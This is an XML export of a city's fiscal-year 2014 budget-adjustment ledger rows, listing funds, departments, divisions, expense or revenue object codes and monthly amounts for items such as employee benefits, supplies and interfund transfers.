<row _id="6517"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16719.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16719.0</total></row>
<row _id="6518"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1566.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1566.0</total></row>
<row _id="6519"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>400940.0</object><object_description>CDBG CURRENT ALLOCATION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-995441.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-995441.0</total></row>
<row _id="6520"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>278.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>278.0</total></row>
<row _id="6521"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>41328.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41328.0</total></row>
<row _id="6522"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3282.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3282.0</total></row>
<row _id="6523"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>57330.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57330.0</total></row>
<row _id="6524"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>313.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
<row _id="6525"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2005.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2005.0</total></row>
<row _id="6526"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>540.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>540.0</total></row>
<row _id="6527"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577960.0</object><object_description>ARTS TRANSFER</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-100000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="6528"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578470.0</object><object_description>GROUNDSKEEPING TRANSFER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>78409.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>78409.0</total></row>
<row _id="6529"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>406000.0</object><object_description>ESTIMATED FEE INCREASES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6530"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4868.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4868.0</total></row>
<row _id="6531"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1911.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1911.0</total></row>
<row _id="6532"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3580.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3580.0</total></row>
<row _id="6533"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>105.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>105.0</total></row>
<row _id="6534"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>19631.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19631.0</total></row>
<row _id="6535"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8020.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8020.0</total></row>
<row _id="6536"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6537"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>528.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>528.0</total></row>
<row _id="6538"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1703.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1703.0</total></row>
<row _id="6539"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4750.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4750.0</total></row>
<row _id="6540"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10200.0</total></row>
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<row _id="6545"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>586561.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>586561.0</total></row>
<row _id="6546"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>964.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>964.0</total></row>
<row _id="6547"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>111575.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>111575.0</total></row>
<row _id="6548"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3820.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3820.0</total></row>
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<row _id="6551"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1068.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1068.0</total></row>
<row _id="6552"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4565.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4565.0</total></row>
<row _id="6553"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>938.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>938.0</total></row>
<row _id="6554"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>256.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>256.0</total></row>
<row _id="6555"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>575.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>575.0</total></row>
<row _id="6556"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>718.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>718.0</total></row>
<row _id="6557"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15172.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15172.0</total></row>
<row _id="6558"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>405220.0</object><object_description>MAIN ST-LIGHTS &amp; SIDEWLK CLEAN</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-2661.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2661.0</total></row>
<row _id="6559"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>299296.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>299296.0</total></row>
<row _id="6560"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2085.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2085.0</total></row>
<row _id="6561"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>608.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>608.0</total></row>
<row _id="6562"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4182.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4182.0</total></row>
<row _id="6563"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577520.0</object><object_description>INVESTMENT TRANSFERS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-344318.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-344318.0</total></row>
<row _id="6564"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6424.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6424.0</total></row>
<row _id="6565"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556110.0</object><object_description>DECEDENT TRANSPORTION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="6566"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6567"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6568"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6569"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6570"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
